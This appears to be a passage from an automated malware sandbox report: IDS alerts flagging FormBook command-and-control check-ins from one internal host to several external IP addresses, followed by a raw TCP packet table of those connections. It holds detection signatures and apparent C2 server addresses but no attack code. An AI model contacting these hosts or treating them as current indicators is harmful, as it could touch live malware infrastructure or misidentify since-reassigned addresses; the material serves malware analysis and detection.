2025-01-09T16:57:41.954078+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49880	45.33.2.79	80	TCP
2025-01-09T16:57:44.641972+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49881	45.33.2.79	80	TCP
2025-01-09T16:57:47.321678+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49882	45.33.2.79	80	TCP
2025-01-09T16:57:53.012748+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49883	104.21.32.1	80	TCP
2025-01-09T16:57:55.676284+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49884	104.21.32.1	80	TCP
2025-01-09T16:57:58.348105+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49885	104.21.32.1	80	TCP
2025-01-09T16:58:00.985202+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49886	104.21.32.1	80	TCP
2025-01-09T16:58:06.393139+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49887	199.192.21.169	80	TCP
2025-01-09T16:58:09.106949+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49888	199.192.21.169	80	TCP
2025-01-09T16:58:11.813837+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49889	199.192.21.169	80	TCP
2025-01-09T16:58:14.525215+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49890	199.192.21.169	80	TCP
2025-01-09T16:58:29.109139+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49891	47.83.1.90	80	TCP
2025-01-09T16:58:31.945382+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49892	47.83.1.90	80	TCP
2025-01-09T16:58:34.815159+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49893	47.83.1.90	80	TCP
2025-01-09T16:58:37.649832+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49894	47.83.1.90	80	TCP
2025-01-09T16:58:42.958756+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49895	13.248.169.48	80	TCP
2025-01-09T16:58:45.628143+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49896	13.248.169.48	80	TCP
2025-01-09T16:58:48.303957+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49897	13.248.169.48	80	TCP
2025-01-09T16:58:50.987001+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49898	13.248.169.48	80	TCP
2025-01-09T16:58:56.719814+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49899	160.25.166.123	80	TCP
2025-01-09T16:58:59.607669+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49900	160.25.166.123	80	TCP
2025-01-09T16:59:02.498649+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49901	160.25.166.123	80	TCP
2025-01-09T16:59:05.402450+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49902	160.25.166.123	80	TCP
2025-01-09T16:59:10.674523+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49903	172.67.132.227	80	TCP
2025-01-09T16:59:13.329885+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49904	172.67.132.227	80	TCP
2025-01-09T16:59:15.987992+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.30	49905	172.67.132.227	80	TCP
2025-01-09T16:59:18.658329+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.30	49906	172.67.132.227	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 16:53:51.548118114 CET	49822	80	192.168.11.30	194.9.94.85
Jan 9, 2025 16:53:51.790968895 CET	80	49822	194.9.94.85	192.168.11.30
Jan 9, 2025 16:53:51.791203976 CET	49822	80	192.168.11.30	194.9.94.85
Jan 9, 2025 16:53:51.805139065 CET	49822	80	192.168.11.30	194.9.94.85
Jan 9, 2025 16:53:52.034064054 CET	80	49822	194.9.94.85	192.168.11.30
Jan 9, 2025 16:53:52.051402092 CET	80	49822	194.9.94.85	192.168.11.30
Jan 9, 2025 16:53:52.051500082 CET	80	49822	194.9.94.85	192.168.11.30
Jan 9, 2025 16:53:52.051546097 CET	80	49822	194.9.94.85	192.168.11.30
Jan 9, 2025 16:53:52.051717043 CET	80	49822	194.9.94.85	192.168.11.30
Jan 9, 2025 16:53:52.051755905 CET	80	49822	194.9.94.85	192.168.11.30
Jan 9, 2025 16:53:52.051786900 CET	80	49822	194.9.94.85	192.168.11.30
Jan 9, 2025 16:53:52.051834106 CET	49822	80	192.168.11.30	194.9.94.85
Jan 9, 2025 16:53:52.052233934 CET	49822	80	192.168.11.30	194.9.94.85
Jan 9, 2025 16:53:52.057115078 CET	49822	80	192.168.11.30	194.9.94.85
Jan 9, 2025 16:53:52.299803019 CET	80	49822	194.9.94.85	192.168.11.30
Jan 9, 2025 16:54:07.412780046 CET	49823	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:07.555039883 CET	80	49823	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:07.555320978 CET	49823	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:07.569076061 CET	49823	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:07.714026928 CET	80	49823	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:07.714070082 CET	80	49823	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:07.714216948 CET	49823	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:09.071764946 CET	49823	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:10.089937925 CET	49824	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:10.232171059 CET	80	49824	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:10.232407093 CET	49824	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:10.245862961 CET	49824	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:10.390666962 CET	80	49824	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:10.390731096 CET	80	49824	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:10.391004086 CET	49824	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:11.758770943 CET	49824	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:12.776671886 CET	49825	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:12.919053078 CET	80	49825	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:12.919207096 CET	49825	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:12.931546926 CET	49825	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:12.931598902 CET	49825	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:12.931653976 CET	49825	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:13.074045897 CET	80	49825	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:13.074244022 CET	80	49825	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:13.074273109 CET	80	49825	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:13.076890945 CET	80	49825	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:13.076926947 CET	80	49825	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:13.077069998 CET	49825	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:14.445688009 CET	49825	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:15.463169098 CET	49826	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:15.605010033 CET	80	49826	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:15.605272055 CET	49826	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:15.611571074 CET	49826	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:15.756664038 CET	80	49826	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:15.756706953 CET	80	49826	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:15.756737947 CET	80	49826	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:15.757014036 CET	49826	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:15.759140015 CET	49826	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:54:15.901412964 CET	80	49826	45.33.2.79	192.168.11.30
Jan 9, 2025 16:54:20.905849934 CET	49827	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:21.028450012 CET	80	49827	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:21.028642893 CET	49827	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:21.038851976 CET	49827	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:21.158622026 CET	80	49827	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:21.608357906 CET	80	49827	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:21.608403921 CET	80	49827	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:21.608591080 CET	49827	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:21.608890057 CET	80	49827	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:21.609160900 CET	49827	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:22.553236008 CET	49827	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:23.570641994 CET	49828	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:23.689306974 CET	80	49828	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:23.689538002 CET	49828	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:23.700556040 CET	49828	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:23.819262028 CET	80	49828	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:24.243889093 CET	80	49828	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:24.243936062 CET	80	49828	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:24.244183064 CET	49828	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:24.245043039 CET	80	49828	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:24.245235920 CET	49828	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:25.208864927 CET	49828	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:26.226574898 CET	49829	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:26.346007109 CET	80	49829	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:26.346244097 CET	49829	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:26.358896017 CET	49829	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:26.478353024 CET	80	49829	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:26.478598118 CET	80	49829	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:26.478607893 CET	80	49829	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:26.937643051 CET	80	49829	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:26.937685966 CET	80	49829	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:26.937989950 CET	49829	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:26.938350916 CET	80	49829	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:26.938607931 CET	49829	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:27.864516020 CET	49829	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:28.882286072 CET	49830	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:29.000770092 CET	80	49830	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:29.000926018 CET	49830	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:29.008332968 CET	49830	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:29.126893044 CET	80	49830	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:29.548048019 CET	80	49830	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:29.548089981 CET	80	49830	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:29.548388958 CET	49830	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:29.548667908 CET	80	49830	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:29.548811913 CET	49830	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:29.554414034 CET	49830	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:54:29.673135996 CET	80	49830	104.21.32.1	192.168.11.30
Jan 9, 2025 16:54:34.744689941 CET	49831	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:34.917628050 CET	80	49831	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:34.917829990 CET	49831	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:34.927990913 CET	49831	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:35.101047993 CET	80	49831	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:35.120670080 CET	80	49831	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:35.120716095 CET	80	49831	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:35.120966911 CET	49831	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:36.440699100 CET	49831	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:37.460354090 CET	49832	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:37.633251905 CET	80	49832	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:37.633560896 CET	49832	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:37.648225069 CET	49832	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:37.820956945 CET	80	49832	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:37.839062929 CET	80	49832	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:37.839108944 CET	80	49832	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:37.839284897 CET	49832	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:39.159017086 CET	49832	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:40.176430941 CET	49833	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:40.349061966 CET	80	49833	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:40.349319935 CET	49833	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:40.359262943 CET	49833	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:40.359307051 CET	49833	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:40.531956911 CET	80	49833	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:40.531991005 CET	80	49833	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:40.532013893 CET	80	49833	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:40.553983927 CET	80	49833	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:40.554022074 CET	80	49833	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:40.554331064 CET	49833	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:41.861459017 CET	49833	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:42.878840923 CET	49835	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:43.050909996 CET	80	49835	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:43.051151037 CET	49835	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:43.057981968 CET	49835	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:43.230062008 CET	80	49835	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:43.248054981 CET	80	49835	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:43.248069048 CET	80	49835	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:43.248466969 CET	49835	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:43.250874996 CET	49835	80	192.168.11.30	199.192.21.169
Jan 9, 2025 16:54:43.422919035 CET	80	49835	199.192.21.169	192.168.11.30
Jan 9, 2025 16:54:56.808981895 CET	49837	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:54:57.115961075 CET	80	49837	47.83.1.90	192.168.11.30
Jan 9, 2025 16:54:57.116246939 CET	49837	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:54:57.128612995 CET	49837	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:54:57.435506105 CET	80	49837	47.83.1.90	192.168.11.30
Jan 9, 2025 16:54:58.140507936 CET	80	49837	47.83.1.90	192.168.11.30
Jan 9, 2025 16:54:58.140543938 CET	80	49837	47.83.1.90	192.168.11.30
Jan 9, 2025 16:54:58.140682936 CET	49837	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:54:58.638963938 CET	49837	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:54:59.656956911 CET	49838	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:54:59.962425947 CET	80	49838	47.83.1.90	192.168.11.30
Jan 9, 2025 16:54:59.962631941 CET	49838	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:54:59.975334883 CET	49838	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:55:00.281034946 CET	80	49838	47.83.1.90	192.168.11.30
Jan 9, 2025 16:55:00.987040997 CET	80	49838	47.83.1.90	192.168.11.30
Jan 9, 2025 16:55:00.987124920 CET	80	49838	47.83.1.90	192.168.11.30
Jan 9, 2025 16:55:00.987329960 CET	49838	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:55:01.482095957 CET	49838	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:55:02.500253916 CET	49839	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:55:02.805711031 CET	80	49839	47.83.1.90	192.168.11.30
Jan 9, 2025 16:55:02.805948019 CET	49839	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:55:02.818437099 CET	49839	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:55:03.124084949 CET	80	49839	47.83.1.90	192.168.11.30
Jan 9, 2025 16:55:03.124285936 CET	80	49839	47.83.1.90	192.168.11.30
Jan 9, 2025 16:55:03.815161943 CET	80	49839	47.83.1.90	192.168.11.30
Jan 9, 2025 16:55:03.815210104 CET	80	49839	47.83.1.90	192.168.11.30
Jan 9, 2025 16:55:03.815418959 CET	49839	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:55:04.325201035 CET	49839	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:55:05.342972040 CET	49840	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:55:05.650262117 CET	80	49840	47.83.1.90	192.168.11.30
Jan 9, 2025 16:55:05.650492907 CET	49840	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:55:05.659130096 CET	49840	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:55:05.966551065 CET	80	49840	47.83.1.90	192.168.11.30
Jan 9, 2025 16:55:06.653471947 CET	80	49840	47.83.1.90	192.168.11.30
Jan 9, 2025 16:55:06.653507948 CET	80	49840	47.83.1.90	192.168.11.30
Jan 9, 2025 16:55:06.653934002 CET	49840	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:55:06.656454086 CET	49840	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:55:06.963692904 CET	80	49840	47.83.1.90	192.168.11.30
Jan 9, 2025 16:55:11.859488010 CET	49841	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:12.854437113 CET	49841	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:12.993936062 CET	80	49841	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:12.994102955 CET	49841	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:13.006392002 CET	49841	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:13.143280983 CET	80	49841	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:13.143296003 CET	80	49841	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:13.143460035 CET	49841	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:14.510355949 CET	49841	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:15.528563023 CET	49842	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:16.541140079 CET	49842	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:16.677081108 CET	80	49842	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:16.677421093 CET	49842	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:16.692215919 CET	49842	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:16.828346014 CET	80	49842	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:16.828510046 CET	80	49842	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:16.828656912 CET	49842	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:18.197088003 CET	49842	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:19.215003967 CET	49843	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:19.352972984 CET	80	49843	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:19.353224993 CET	49843	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:19.366292000 CET	49843	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:19.503109932 CET	80	49843	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:19.503343105 CET	80	49843	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:19.503366947 CET	80	49843	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:19.503582001 CET	49843	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:20.868329048 CET	49843	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:21.886815071 CET	49844	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:22.025398970 CET	80	49844	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:22.025696993 CET	49844	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:22.034774065 CET	49844	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:22.175661087 CET	80	49844	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:22.175705910 CET	80	49844	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:22.176095009 CET	49844	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:22.179029942 CET	49844	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:55:22.316160917 CET	80	49844	13.248.169.48	192.168.11.30
Jan 9, 2025 16:55:27.834079981 CET	49845	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:28.176071882 CET	80	49845	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:28.176358938 CET	49845	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:28.188802004 CET	49845	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:28.530328035 CET	80	49845	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:28.531186104 CET	80	49845	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:28.531197071 CET	80	49845	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:28.531204939 CET	80	49845	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:28.531368017 CET	49845	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:29.694669962 CET	49845	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:30.712416887 CET	49846	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:31.071142912 CET	80	49846	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:31.071650982 CET	49846	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:31.089350939 CET	49846	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:31.447458029 CET	80	49846	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:31.447804928 CET	80	49846	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:31.447814941 CET	80	49846	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:31.447823048 CET	80	49846	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:31.447954893 CET	49846	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:32.600173950 CET	49846	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:33.618108034 CET	49847	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:33.966655016 CET	80	49847	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:33.966839075 CET	49847	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:33.979420900 CET	49847	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:34.327749014 CET	80	49847	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:34.327864885 CET	80	49847	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:34.328692913 CET	80	49847	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:34.328737020 CET	80	49847	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:34.328769922 CET	80	49847	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:34.328799963 CET	80	49847	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:34.328891039 CET	49847	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:34.677002907 CET	80	49847	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:36.508709908 CET	49848	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:36.860796928 CET	80	49848	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:36.861021042 CET	49848	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:36.868823051 CET	49848	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:37.220298052 CET	80	49848	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:37.220998049 CET	80	49848	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:37.221043110 CET	80	49848	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:37.221077919 CET	80	49848	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:37.221311092 CET	49848	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:37.221311092 CET	49848	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:37.223803997 CET	49848	80	192.168.11.30	160.25.166.123
Jan 9, 2025 16:55:37.575244904 CET	80	49848	160.25.166.123	192.168.11.30
Jan 9, 2025 16:55:42.409455061 CET	49849	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:42.528930902 CET	80	49849	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:42.529107094 CET	49849	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:42.542651892 CET	49849	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:42.661993980 CET	80	49849	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:42.695679903 CET	80	49849	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:42.696388960 CET	80	49849	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:42.696548939 CET	49849	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:44.050713062 CET	49849	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:45.069061995 CET	49850	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:45.187971115 CET	80	49850	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:45.188227892 CET	49850	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:45.201143026 CET	49850	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:45.320131063 CET	80	49850	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:45.402821064 CET	80	49850	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:45.403723001 CET	80	49850	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:45.403919935 CET	49850	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:46.706442118 CET	49850	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:47.724271059 CET	49851	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:47.843724012 CET	80	49851	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:47.843964100 CET	49851	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:47.856874943 CET	49851	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:47.856925011 CET	49851	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:47.976377964 CET	80	49851	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:47.976438046 CET	80	49851	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:47.976444960 CET	80	49851	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:47.976699114 CET	80	49851	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:47.994868040 CET	80	49851	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:47.995325089 CET	80	49851	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:47.995536089 CET	49851	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:49.362049103 CET	49851	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:50.380451918 CET	49852	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:50.499102116 CET	80	49852	172.67.132.227	192.168.11.30
